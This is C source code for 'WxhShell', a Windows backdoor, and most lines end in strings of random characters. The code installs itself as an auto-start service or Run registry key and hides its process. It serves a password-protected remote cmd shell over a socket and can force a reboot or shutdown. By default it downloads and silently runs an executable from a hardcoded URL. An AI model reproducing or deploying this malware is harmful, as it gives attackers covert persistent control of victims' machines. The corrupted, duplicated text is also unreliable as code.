    if(Boot(SHUTDOWN)) s K""  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;W$w=j: O{  
    else { tS_xa  
    closesocket(wsh); bv:0EdVr  
    ExitThread(0); n',9#I(!L  
    } Y%n{`9=  
    break; )sqp7["-  
    } : pE-{3I  
  // 获取shell + Tgy,oD0  
  case 's': { i4{ /  
    CmdShell(wsh); H`+]dXLB  
    closesocket(wsh); r-1yJ  
    ExitThread(0); B^_$ hJncc  
    break; A$H+4L  
  } nsr _\F\  
  // 退出 @4W\RwD  
  case 'x': { di)noQXkB-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L:k@BCQM  
    CloseIt(wsh); 7>W+Uq  
    break; x0AqhT5}  
    } O|^6UH  
  // 离开 4X(1   
  case 'q': { +Zty}fe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kG|>_5  
    closesocket(wsh); )|59FOWg  
    WSACleanup(); 5W:Gl?$S}  
    exit(1); sTYuwna~   
    break; b}EYNCw_7S  
        } (|ct`KU0#  
  } lyOrM7Gs  
  } y<'2BTf  
bSeL"   
  // 提示信息 n41\y:CAo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {$u@6& B  
} gs`27Gih  
  } FzsS~C$wH{  
K_<lO,[S  
  return; Bcd0   
} >gS5[`xRE  
;k63RNT,M&  
// shell模块句柄 ] fwTi(4y  
int CmdShell(SOCKET sock) 6U,U[MWJ  
{ ShsP]$Yp  
STARTUPINFO si; f4aD0.K.g|  
ZeroMemory(&si,sizeof(si)); /%}YuN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xx9~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =E6i1x%j  
PROCESS_INFORMATION ProcessInfo; yo Q?lh  
char cmdline[]="cmd"; o<Rxt *B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Rr&.  
  return 0; -V<=`e  
} =vqE=:X6  
&s6(3k  
// 自身启动模式 :+Z>nHe  
int StartFromService(void) 8' g*}[  
{ 46.q a nh  
typedef struct I;|5C=!  
{ [u9S+:7"  
  DWORD ExitStatus; [&]YVn>kj  
  DWORD PebBaseAddress; {*5;:QnT  
  DWORD AffinityMask; 7:R{~|R  
  DWORD BasePriority; m;tY(kO  
  ULONG UniqueProcessId; |]]pHC_/W  
  ULONG InheritedFromUniqueProcessId; At^DY!3vx  
}   PROCESS_BASIC_INFORMATION; NGb! 7Mu9  
[y&h_w.  
PROCNTQSIP NtQueryInformationProcess; @gl%A&a  
MCWG*~f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RZ,<D I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i5~ /+~  
{]/Jk07  
  HANDLE             hProcess; Q,M/R6i-  
  PROCESS_BASIC_INFORMATION pbi; 2dV\=vd  
83 ^,'Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PUFW^"LV  
  if(NULL == hInst ) return 0; .o,51dn+ s  
ekk&TTp#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MkV*+LXC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZC\.};.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  "ppb%=  
o4I!VK(C#s  
  if (!NtQueryInformationProcess) return 0; fb=$<0Ocj  
PB3!;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XKPt[$ab  
  if(!hProcess) return 0; A](}"Pi!n  
?D$b%G{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s%TO(vT  
oe_[h]Hgl  
  CloseHandle(hProcess); 5KPPZmO  
;(iUY/ h[h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^$s~qQQ}B  
if(hProcess==NULL) return 0; W0?Y%Da(4m  
51(`wo>LS  
HMODULE hMod; B6!<@* BI  
char procName[255]; IkXKt8`YVA  
unsigned long cbNeeded; $P}]|/Yb  
F*jj cUk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '>WuukC  
YvP"W/5  
  CloseHandle(hProcess); Qmc;s{-r;  
.Mft+,"  
if(strstr(procName,"services")) return 1; // 以服务启动 `\u),$  
[{!j9E?(  
  return 0; // 注册表启动 z1KC$~{O  
} u{lDof>  
/*p?UW<*4  
// 主模块 *$Wx*Jo  
int StartWxhshell(LPSTR lpCmdLine) Kd[`mkmS  
{ ,DUQto  
  SOCKET wsl; 2Z9gOd<M~  
BOOL val=TRUE; G|Yp <W%o  
  int port=0; Px?At5  
  struct sockaddr_in door; MKh L^c-  
0-MasI&b  
  if(wscfg.ws_autoins) Install(); M Ut^mu$86  
= ]HJa  
port=atoi(lpCmdLine); kE(-vE9  
j]F3[gpc  
if(port<=0) port=wscfg.ws_port; mM^8YL  
uM!r|X)8  
  WSADATA data; H=SMDj)s+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aKU8" 5  
#Uk6Fmu ]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gqz)='  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &\D<n; 3  
  door.sin_family = AF_INET; ,xM*hN3A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IhKas4  
  door.sin_port = htons(port); g:6}zHK  
5}^08Xl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LFM5W&?  
closesocket(wsl); Kz2^f@5=F  
return 1; btz3f9  
} +O:pZz  
+#"Ic:  
  if(listen(wsl,2) == INVALID_SOCKET) { l{SPV8[i  
closesocket(wsl); dE!=a|Pl  
return 1; k)t8J\  
} 2 ]6u B e  
  Wxhshell(wsl); 2X |jq4  
  WSACleanup(); .B-,GD}  
0+`*8G)  
return 0; !Fs) "?  
91Sb= 9  
} <u% e*  
[B;Ek \5W  
// 以NT服务方式启动 Ox1QP2t6Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8n p>#V  
{ lSv;wwEg  
DWORD   status = 0; n{NgtH\V  
  DWORD   specificError = 0xfffffff; @{GxQzo  
FNRE_83  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q 6<Uui w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >l*9DaZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eeR@p$4i  
  serviceStatus.dwWin32ExitCode     = 0; e$|)wOwU  
  serviceStatus.dwServiceSpecificExitCode = 0; fe`G^hV  
  serviceStatus.dwCheckPoint       = 0; i]WlMC6  
  serviceStatus.dwWaitHint       = 0; jsht2]iq3K  
gG>^h1_o~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?PtRb:RHt  
  if (hServiceStatusHandle==0) return; -^yc yZ  
1ORi]`  
status = GetLastError(); /'^>-!8_1  
  if (status!=NO_ERROR) tl#s:  
{ 6y!?xot  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L. ?dI82c  
    serviceStatus.dwCheckPoint       = 0; gx R|S  
    serviceStatus.dwWaitHint       = 0; W 9MZ  
    serviceStatus.dwWin32ExitCode     = status; m&c(N  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4gt "dfy+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ON! G{=7  
    return; l'8wPmy%N  
  } i_^NbC   
p%_ :(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F09AX'nj  
  serviceStatus.dwCheckPoint       = 0; RLX^'g+P  
  serviceStatus.dwWaitHint       = 0; ;XuE Mq,Di  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n,LKkOG  
} AdW7 vn  
X.5LB!I)  
// 处理NT服务事件,比如:启动、停止 |W];v@b\y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eV}Tx;1|}  
{ RxG./GY  
switch(fdwControl) nECf2>Yp v  
{ N2Hb19/k  
case SERVICE_CONTROL_STOP: \`# 0,pLr  
  serviceStatus.dwWin32ExitCode = 0; HBGA lZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %+J*oFwQu  
  serviceStatus.dwCheckPoint   = 0; S*@0%|Q4r  
  serviceStatus.dwWaitHint     = 0; U MIZ:*j  
  { =xP{f<`   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Q@'Ob`  
  } V2skr_1  
  return; =x]dP.  
case SERVICE_CONTROL_PAUSE: rs+37   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1D DOUV  
  break; eZ$1|Sj]j  
case SERVICE_CONTROL_CONTINUE: /hR]aw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mc^7FWkw  
  break; ixpG[8s  
case SERVICE_CONTROL_INTERROGATE: mSeN M  
  break; '~a$f;: Dv  
}; 2 ZXF_ o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "b7C0NE  
} IV*$U7~  
b;ZAz  
// 标准应用程序主函数 be@uHikp;v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3o^M%  
{ <-aI%'?*  
TnAX;+u  
// 获取操作系统版本 _ @76eZd  
OsIsNt=GetOsVer(); z*1K<w8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uS,$P34^oy  
f/m6q8!L{  
  // 从命令行安装 sR nMBW.  
  if(strpbrk(lpCmdLine,"iI")) Install(); X.|0E87  
KK|Jach  
  // 下载执行文件 OUMr}~/  
if(wscfg.ws_downexe) { l))IO`s=_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;wB  3H  
  WinExec(wscfg.ws_filenam,SW_HIDE); T0jJp7O  
} ~cwwB{  
pdqh'+5  
if(!OsIsNt) { mr.DP~O:9p  
// 如果时win9x,隐藏进程并且设置为注册表启动 _"`h~jB  
HideProc(); 4N: ;Mo&B  
StartWxhshell(lpCmdLine); 6>J #M  
} _gh7_P^H=d  
else z6(Q 3@iO  
  if(StartFromService()) Ba~Iy2\x  
  // 以服务方式启动 4VgDN(n0@  
  StartServiceCtrlDispatcher(DispatchTable); P^-9?u Bno  
else ?yK\L-ad  
  // 普通方式启动 ]aL}&GlHt  
  StartWxhshell(lpCmdLine); $vz%   
^Yz05\  
return 0; uD3_'a  
} e vuP4-[y  
$S{j}74[  
cIjsUqKa  
A4h/oMis  
=========================================== g.s oN qt=  
rg.if"o  
H)tDfk sq\  
F{tSfKy2  
~G:7*:[b  
cw{[B%vw  
" Y?cw9uYB  
O2f2Fb$B7  
#include <stdio.h> {c; 3$  
#include <string.h> @Iu-F4YT  
#include <windows.h> l-EQh*!j  
#include <winsock2.h> T(F8z5s5  
#include <winsvc.h> =ndKG5  
#include <urlmon.h> W^f#xrq>  
TVA1FD  
#pragma comment (lib, "Ws2_32.lib") X3yr6J[ ^  
#pragma comment (lib, "urlmon.lib") gG>>ynn  
AF6'JxG7  
#define MAX_USER   100 // 最大客户端连接数 ba13^;fm#  
#define BUF_SOCK   200 // sock buffer H=C;g)R  
#define KEY_BUFF   255 // 输入 buffer cK&oC$[r-  
= @o}  
#define REBOOT     0   // 重启 63=m11 Z4  
#define SHUTDOWN   1   // 关机 'o L8Z  
AAcbY;  
#define DEF_PORT   5000 // 监听端口 |#6Lcz7[  
P_U-R%f  
#define REG_LEN     16   // 注册表键长度 .<dmdqk]  
#define SVC_LEN     80   // NT服务名长度 4^&vRD,  
ev $eM  
// 从dll定义API 5>Q)8` @E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZD(gYNi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U,BB C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `>Cx!sYhV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E12k1gC`  
KJ_R@,v\  
// wxhshell配置信息 l.$#IE  
struct WSCFG { tw66XxE  
  int ws_port;         // 监听端口 HJmO+  
  char ws_passstr[REG_LEN]; // 口令 [eRMlSXA  
  int ws_autoins;       // 安装标记, 1=yes 0=no E3!twR*Aw  
  char ws_regname[REG_LEN]; // 注册表键名 iY-dM(_:]  
  char ws_svcname[REG_LEN]; // 服务名 >Fz$DKr[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'S" F=)*-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 intf%T5#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P>|2~YxjU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;H lv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cx[4 /~_<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S6]':  
1oPT8)[U  
}; 4KCxhJq  
L@XeAEIq  
// default Wxhshell configuration \~PFD%]:3  
struct WSCFG wscfg={DEF_PORT, ?F/3]lsggT  
    "xuhuanlingzhe", ]_s]Q_+E  
    1, sXu]k#I^"  
    "Wxhshell", lS^0*(Y  
    "Wxhshell", @zbXG_J  
            "WxhShell Service", }8HLyK,4  
    "Wrsky Windows CmdShell Service", i7FEjjGtG  
    "Please Input Your Password: ", :z\STXq  
  1, P*>V6SK>b  
  "http://www.wrsky.com/wxhshell.exe", ioggD  
  "Wxhshell.exe" !_@%/I6  
    }; D_Y;N3E/rS  
hlRE\YO&8R  
// 消息定义模块 n[@Ur2&)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AN@Vos Cu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \"SI-`x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y.zQ `  
char *msg_ws_ext="\n\rExit."; J}JnJV8|G  
char *msg_ws_end="\n\rQuit."; 4tI~d8?pk+  
char *msg_ws_boot="\n\rReboot..."; v,;?+Ck  
char *msg_ws_poff="\n\rShutdown..."; =R05H2hs  
char *msg_ws_down="\n\rSave to "; jKzj Tn9{E  
s>5 Z  
char *msg_ws_err="\n\rErr!"; qb Q> z+c  
char *msg_ws_ok="\n\rOK!"; )n.peZ  
P]n ' q  
char ExeFile[MAX_PATH]; S~T[*Z/m  
int nUser = 0; =u(fP" |{  
HANDLE handles[MAX_USER]; yFSL7`p+  
int OsIsNt; ^|Y!NHYH$Z  
fOVRtSls  
SERVICE_STATUS       serviceStatus; z?PF9QL1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B !XT:.+  
}49?Z3  
// 函数声明 {)mlXo(On  
int Install(void); ,O}zgf*H;  
int Uninstall(void); ydt1ED0Q-  
int DownloadFile(char *sURL, SOCKET wsh); QUt!fF@t  
int Boot(int flag); 157X0&EX  
void HideProc(void); pPE4~g 05h  
int GetOsVer(void); W>~V?%F&'  
int Wxhshell(SOCKET wsl); X\;y;pmRH  
void TalkWithClient(void *cs); ;>~iCF k]?  
int CmdShell(SOCKET sock); mS0W@#|K  
int StartFromService(void); Wh,kJis<  
int StartWxhshell(LPSTR lpCmdLine); &~i1 @\]  
*4ID$BmO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (< h,R@:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "P6MLf1  
/=N`P &R#  
// 数据结构和表定义 <XNLeJdY  
SERVICE_TABLE_ENTRY DispatchTable[] = y.zW>Mfl  
{ { }z7N~  
{wscfg.ws_svcname, NTServiceMain}, @bZb#,n]  
{NULL, NULL} PJ'l:IU  
}; B4kIcHA  
+mJAIjH  
// 自我安装 >_@J&vC  
int Install(void) FW2} 9#R  
{ [K5afnq`  
  char svExeFile[MAX_PATH]; B-RaAiE@  
  HKEY key; >(3 y(1;  
  strcpy(svExeFile,ExeFile); -8]$a6`{_  
.FeEK(  
// 如果是win9x系统,修改注册表设为自启动 u% FA.  
if(!OsIsNt) { PYZ8@G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0?76|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % :NI@59  
  RegCloseKey(key); !59q@M ya[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1peN@Yk2W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '>Z Ou3>  
  RegCloseKey(key); Q]8r72uSk  
  return 0; U-@\V1;C  
    } fIu/*PFPVY  
  } u7S7lR"lxW  
} o\N),;LM  
else { 2n\EZ  
n'SnqJ&}  
// 如果是NT以上系统,安装为系统服务 dQ<EDtap  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l{<@[foc  
if (schSCManager!=0) u!O)\m-  
{ Y9ru~&/o$  
  SC_HANDLE schService = CreateService hGsY u)  
  ( },l3N K  
  schSCManager, *p"%cas  
  wscfg.ws_svcname, ;*8$BuD  
  wscfg.ws_svcdisp, \n}cx~j  
  SERVICE_ALL_ACCESS, [,VD^\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |g~.]2az  
  SERVICE_AUTO_START, nkxVc  
  SERVICE_ERROR_NORMAL, Ra/S46$  
  svExeFile, T a_#Rg*!  
  NULL, T!8,R{V]4  
  NULL, sPut@4[S  
  NULL, z;T?2~g!  
  NULL, Gd!y,n&s  
  NULL @>:r'Fmu-  
  ); -{HA+YL H  
  if (schService!=0) 4oJ0,u  
  { OmsNo0OA  
  CloseServiceHandle(schService); YtFtU;{  
  CloseServiceHandle(schSCManager); % _N-:.S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &T{+B:*v  
  strcat(svExeFile,wscfg.ws_svcname); yJ?6BLJi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~x2azY2DP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _di[PU=Vh  
  RegCloseKey(key); Au9Rr3n  
  return 0; aPRF  
    } Ay[6rUO  
  } 8/k* "^3  
  CloseServiceHandle(schSCManager); 'Je;3"@  
} BPW2WSm@<  
} U2;_{n*g%  
lwSA!W  
return 1; k/>k&^?  
} Z<`QDBN"4  
v81<K*w`P  
// 自我卸载 y\S}U{*Z'  
int Uninstall(void) y6f YNB  
{ Dc U$sf*  
  HKEY key; fnB[b[  
i6aM}p<  
if(!OsIsNt) { F.4xi+S_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C-&\qAo?<:  
  RegDeleteValue(key,wscfg.ws_regname); i!(u4wTFF  
  RegCloseKey(key); *4]}_ .rG#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I=0`xF|4K-  
  RegDeleteValue(key,wscfg.ws_regname); D/v?nW  
  RegCloseKey(key); V!u W\i/  
  return 0; nGq{+ G  
  } O|d"0P  
} xtyOG  
} ^tI ,eZ  
else { `Ps&N^[  
U<K)'l6#2n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c1Skt  
if (schSCManager!=0) =nG g k}Z  
{ K9]L>Wj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ",Mr+;;:[  
  if (schService!=0) Dc2H<=];  
  { -a !?%  
  if(DeleteService(schService)!=0) { y2cYRHN[X}  
  CloseServiceHandle(schService); !#3v<_]#d  
  CloseServiceHandle(schSCManager); *jM]:GpyoU  
  return 0; f["c,,[  
  } ^? }-x  
  CloseServiceHandle(schService); 1N,</<"  
  } qx|~H'UuBN  
  CloseServiceHandle(schSCManager); \(C6|-:GY  
} yhc}*BMZ  
} I;FHjnn(  
;?4EVZ#o  
return 1; ?L x*MJZ  
} #A\@)wJ  
f}=>c|Do  
// 从指定url下载文件 H}?"2jF  
int DownloadFile(char *sURL, SOCKET wsh) id+ ~ V  
{ ?k@^U9?R  
  HRESULT hr; Ir#]p9:x  
char seps[]= "/"; F$M^}vsjGx  
char *token; pLSh +*F  
char *file; F JCs$0  
char myURL[MAX_PATH]; 7H.3.j(L  
char myFILE[MAX_PATH]; H\RejGR  
Ym%XCl  
strcpy(myURL,sURL); g-?@a  
  token=strtok(myURL,seps); @ Z.BYC  
  while(token!=NULL) >e>%AMzo[  
  { ia@ |+r  
    file=token; Z-:T')#Cf  
  token=strtok(NULL,seps); Y O&@  
  } 8wV`mdKN  
FRa>cf4  
GetCurrentDirectory(MAX_PATH,myFILE); B`|f"+.  
strcat(myFILE, "\\"); |P@N}P@  
strcat(myFILE, file); f*}}Az.4  
  send(wsh,myFILE,strlen(myFILE),0); "%lIB{  
send(wsh,"...",3,0); xqs ,4bcbY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ox*1F+Xri  
  if(hr==S_OK) .exBU1Yk@  
return 0; uP G\1  
else ml@;ngmp.  
return 1; .dI".L  
#lR-?Uh  
} $Q"D>Qf{G  
#/_{(P  
// 系统电源模块 't6l@ _x  
int Boot(int flag) ZLP/&`>8  
{ gFqF&t  
  HANDLE hToken; #N"m[$;QR  
  TOKEN_PRIVILEGES tkp; t W+"/<U  
\HXq~Y  
  if(OsIsNt) { zZ6m`]{B9?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4_kY^"*#"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d~ +(g!  
    tkp.PrivilegeCount = 1; _B>'07D0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^"<x4e9+j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'Lq+ONX5  
if(flag==REBOOT) {  & .0A%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yIhPB8QL  
  return 0; s]]lB018O\  
} u@1 2:U$  
else { 9 ,:#Q<UM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k@ <dru  
  return 0; -L +kt_>  
} P -NR]f  
  } VCfHm"'E8  
  else { -0UR%R7q  
if(flag==REBOOT) { >"8;8Ev  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :s6aFiz  
  return 0; A 0v=7 ]  
} ;plBo%EBV  
else { ![;={d0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M6mgJonN|  
  return 0; 1RJFPv  
} nfbR"E jXr  
} /5)*epF+  
 QEg[  
return 1; ~Oa$rqu%m  
} eZEk$W%  
fX]`vjM{  
// win9x进程隐藏模块 sC.b '1P  
void HideProc(void) Q7rBc wm5  
{ qCg<g  
u$ yXuFj/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vbt!, 2_)  
  if ( hKernel != NULL ) f";pfu_FZ  
  { [I=|"Ic~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rCwE$5 b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w i[9RD@  
    FreeLibrary(hKernel); i,h30J  
  } ULqI]k(  
Q66 +  
return; c ef[T(>  
} +N=HI1^54R  
"]#Ij6ml  
// 获取操作系统版本 pJx7S sW  
int GetOsVer(void) 2HtsSS#0Q  
{ T:u>7?8o  
  OSVERSIONINFO winfo; 9j|v D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +@=V}IO  
  GetVersionEx(&winfo); yAfwQ$Ll7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  tPQ|znB|  
  return 1; r[4n2Mys  
  else ~4khIz  
  return 0; kN.;;HFq#  
} g:z<CSIq/  
D#UuIZ  
// 客户端句柄模块 ''YqxJ fb  
int Wxhshell(SOCKET wsl) g]lEG>y1R  
{ p;>A:i  
  SOCKET wsh; u [._RA  
  struct sockaddr_in client; `mzlOB  
  DWORD myID; M2Jf-2  
g35!a<JW  
  while(nUser<MAX_USER) Vf;&z$D{r  
{ JD#x+~pb,8  
  int nSize=sizeof(client); [EDX@Kdq)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GuO}CQs^W  
  if(wsh==INVALID_SOCKET) return 1; k?Z:=.YW  
K_;vqi^1^&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UB.1xcI  
if(handles[nUser]==0) EW|$qLg  
  closesocket(wsh); qFD ZD)K  
else uR ?W|a  
  nUser++; *[{j'7*cc  
  } Q]YB.n3   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r|EN5  
*Jgi=,!m  
  return 0; EY)2,  
} T9 /;$6s*  
sq!$+=1-X  
// 关闭 socket r }lGcG)  
void CloseIt(SOCKET wsh) pR$(V4>  
{ -N8rs[c  
closesocket(wsh); ~Jk& !IE2  
nUser--; ,B[j{sE  
ExitThread(0); tw_o?9  
} 7q+D}+ Xf  
1(gs({  
// 客户端请求句柄 7v*gwBH  
void TalkWithClient(void *cs) TI'v /=;)  
{ =vbG'_[7  
053bM)qW  
  SOCKET wsh=(SOCKET)cs; QWk3y"5n<  
  char pwd[SVC_LEN]; YIg(^>sq  
  char cmd[KEY_BUFF]; cD0rU8x  
char chr[1]; {Sf[<I  
int i,j; :~otzI4%!  
LqbI/AQ)  
  while (nUser < MAX_USER) { vkIIuNdDlx  
&"^F;z/  
if(wscfg.ws_passstr) { {Rkd;`Q`!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lS4rpbU_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?H=q!i  
  //ZeroMemory(pwd,KEY_BUFF); L}`/v]E"eU  
      i=0; /W/e%.  
  while(i<SVC_LEN) { jVQy{8{G  
IMkE~0x4</  
  // 设置超时 }|.<EkA  
  fd_set FdRead; (9Zvr4.f7  
  struct timeval TimeOut; YNr"]SA@;  
  FD_ZERO(&FdRead); B&]`OO>O  
  FD_SET(wsh,&FdRead); M7TLQqaF  
  TimeOut.tv_sec=8; `,qft[1  
  TimeOut.tv_usec=0; (QDKw}O2b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !;eE7xn&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L,}'ST  
Cz0FA]-g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ix-Mp   
  pwd=chr[0]; J8 qFdNK  
  if(chr[0]==0xd || chr[0]==0xa) { nGH6D2!F  
  pwd=0; N&HI)X2&  
  break; >v]^nJl  
  } iH8we,s'  
  i++; N d].(_  
    } ubwM*P  
jH< #)R  
  // 如果是非法用户,关闭 socket GC')50T J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2? qC8eC  
} $aV62uNf  
=Hg!@5]H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mtmC,jnD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <tD,Uu{P  
O] @E8<?^  
while(1) { 3vY-;&  
ek][^^4o  
  ZeroMemory(cmd,KEY_BUFF); BU:;;iV8  
=W~7fs  
      // 自动支持客户端 telnet标准   ON,[!pc  
  j=0; Anz{u$0M[  
  while(j<KEY_BUFF) { qYK^S4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MgXZN{  
  cmd[j]=chr[0]; W_W!v&@E=  
  if(chr[0]==0xa || chr[0]==0xd) { NiZfaC6V  
  cmd[j]=0; Rl Oy,/-<  
  break; 2:38CdkYp  
  } g(@F`W[  
  j++; ^Hx}.?1  
    } e9{ii2M  
$ VT)  
  // 下载文件 |'h (S|  
  if(strstr(cmd,"http://")) { L/i'6(="  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z@,pT"rb  
  if(DownloadFile(cmd,wsh)) 1SExl U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7kLu rv  
  else UY3)6}g6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); riIubX#  
  } &;DCN  
  else { if*V-$[I  
G"/;Cq=t  
    switch(cmd[0]) { K2xB%m1LK  
